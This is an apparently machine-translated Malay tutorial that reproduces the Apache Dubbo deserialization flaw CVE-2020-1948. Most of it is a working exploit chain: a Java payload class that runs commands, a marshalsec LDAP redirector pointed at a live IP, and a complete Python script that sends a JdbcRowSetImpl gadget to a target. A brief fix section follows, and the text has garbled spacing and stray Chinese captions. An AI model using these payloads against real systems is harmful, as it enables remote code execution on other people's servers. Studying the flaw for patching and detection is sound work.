Rumah  >  Artikel  >  Operasi dan penyelenggaraan  >  Bagaimana untuk menganalisis kelemahan penyahserialisasian Apache Dubbo

Bagaimana untuk menganalisis kelemahan penyahserialisasian Apache Dubbo

WBOY
WBOYke hadapan
2023-05-17 16:01:221039semak imbas

Pengenalan

Dubbo ialah rangka kerja perkhidmatan berprestasi tinggi dan cemerlang sumber terbuka oleh Alibaba, yang membolehkan aplikasi merealisasikan output perkhidmatan dan fungsi input melalui RPC berprestasi tinggi, dan boleh disepadukan dengan lancar dengan rangka kerja Spring . Sistem ini mempunyai tiga fungsi teras, termasuk permohonan kaedah antara muka jauh, toleransi kesalahan pintar dan pengimbangan beban, dan pendaftaran automatik dan penemuan perkhidmatan.

Ikhtisar

Pada 23 Jun 2020, Apache Dubbo secara rasmi mengeluarkan notis risiko untuk pelaksanaan kod jauh Apache Dubbo Nombor kerentanan ialah CVE-2020-1948, dan tahap kerentanan ialah: tinggi. risiko. Apache Dubbo ialah rangka kerja Java RPC sumber terbuka berprestasi tinggi dan ringan yang menyediakan tiga keupayaan teras: penyerahan kaedah jauh berorientasikan antara muka, toleransi kesalahan pintar dan pengimbangan beban serta pendaftaran dan penemuan perkhidmatan automatik. Penyedia Apache Dubbo mempunyai kerentanan penyahserilan Penyerang boleh menghantar nama perkhidmatan atau nama kaedah yang tidak dikenali dan beberapa muatan parameter berbahaya melalui permintaan RPC Apabila parameter hasad dinyahsiri, ia boleh menyebabkan pelaksanaan kod jauh.

Versi yang terjejas

Dubbo 2.7.0 - 2.7.6 Dubbo 2.6.0 - 2.6.7 Dubbo 2.5.x (secara rasmi tidak lagi diselenggara)

Persediaan persekitaran

Versi jdk bagi persekitaran berjalan dan persekitaran exp tersusun adalah kedua-duanya 8u121 Mulakan persekitaran ujian

java -jar dubbo.jar


Selepas permulaan, ia akan mendengar port 12345

Kerentanan berulang

Cap jari perkhidmatan:


PORT      STATE SERVICE VERSION12345/tcp opentextui  Alibaba Dubbo remoting telnetd
Bina poc. Kami melaksanakan perintah ping di sini untuk mengesahkan sama ada arahan itu boleh dilaksanakan. Cipta calc.java baharu,

importjavax.naming.Context;
importjavax.naming.Name;
importjavax.naming.spi.ObjectFactory;
importjava.util.Hashtable;
publicclasscalc implementsObjectFactory{@OverridepublicObjectgetObjectInstance(Objectobj,Namename,ContextnameCtx,Hashtable<?,?>environment)throwsException{Runtime.getRuntime().exec("ping test.sr3uwk.ceye.io");
returnnull;
}}


Kompilasi poc

javac calc.java


Letakkan poc yang disusun (calc.class) ke dalam direktori tapak web web untuk memastikan hos yang terdedah Anda boleh mengakses projek marshalsec untuk memulakan perkhidmatan proksi ldap Muat turun marshalsec:

https://github.com/RandomRobbieBF/marshalsec-jar/raw/master/marshalsec-0.0.3-SNAPSHOT-all.jar


untuk memulakan perkhidmatan proksi LDAP. Jalankan arahan ini dan perkhidmatan ldap akan mendengar port 8086


 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServerhttp://139.9.198.30/#calc 8086


Laksanakan skrip ujian yang digunakan dalam ujian di sini ialah 3.8.0. Mula-mula pasang pakej pergantungan

python3 -m pip install dubbo-py


Kandungan skrip (Dubbo.py):

# -*- coding: utf-8 -*-importsysfromdubbo.codec.hessian2 importDecoder,new_objectfromdubbo.client importDubboClientiflen(sys.argv)<4:print(&#39;Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL&#39;.format(sys.argv[0]))print(&#39;\nExample:\n\n- python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp&#39;.format(sys.argv[0]))sys.exit()client =DubboClient(sys.argv[1],int(sys.argv[2]))JdbcRowSetImpl=new_object(&#39;com.sun.rowset.JdbcRowSetImpl&#39;,dataSource=sys.argv[3],strMatchColumns=["foo"])JdbcRowSetImplClass=new_object(&#39;java.lang.Class&#39;,name="com.sun.rowset.JdbcRowSetImpl",)toStringBean=new_object(&#39;com.rometools.rome.feed.impl.ToStringBean&#39;,beanClass=JdbcRowSetImplClass,obj=JdbcRowSetImpl  )resp =client.send_request_and_return_response(service_name=&#39;org.apache.dubbo.spring.boot.sample.consumer.DemoService&#39;,# 此处可以是 $invoke、$invokeSync、$echo 等,通杀 2.7.7 及 CVE 公布的所有版本。method_name=&#39;$invoke&#39;,args=[toStringBean])output =str(resp)if&#39;Fail to decode request due to: RpcInvocation&#39;inoutput:print(&#39;[!] Target maybe not support deserialization.&#39;)elif&#39;EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()&#39;inoutput:print(&#39;[+] Succeed.&#39;)else:print(&#39;[!] Output:&#39;)print(output)print(&#39;[!] Target maybe not use dubbo-remoting library.&#39;)


Laksanakan skrip

python3 Dubbo.py 192.168.137.17312345ldap://139.9.198.30:8086/calc


Semak dnslog dan berjaya menerima permintaan怎么进行Apache Dubbo反序列化漏洞的分析怎么进行Apache Dubbo反序列化漏洞的分析

perkhidmatan ldap juga boleh melihat pemajuan permintaan

怎么进行Apache Dubbo反序列化漏洞的分析

Kalkulator Bom

import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.util.Hashtable;  public class calc implements ObjectFactory {      @Override     public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {        Runtime.getRuntime().exec("calc");        return null;    } }
Pembetulan Kerentanan

Naik taraf kepada versi 2.7.7 dan lakukan pengesahan parameter mengikut kaedah dalam pautan berikut

https:// github.com/apache/dubbo/pull/6374/commits/8fcdca112744d2cb98b349225a4aab365af563de


Tukar protokol dan kaedah penyahserialisasian.

Atas ialah kandungan terperinci Bagaimana untuk menganalisis kelemahan penyahserialisasian Apache Dubbo. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Kenyataan:
Artikel ini dikembalikan pada:yisu.com. Jika ada pelanggaran, sila hubungi admin@php.cn Padam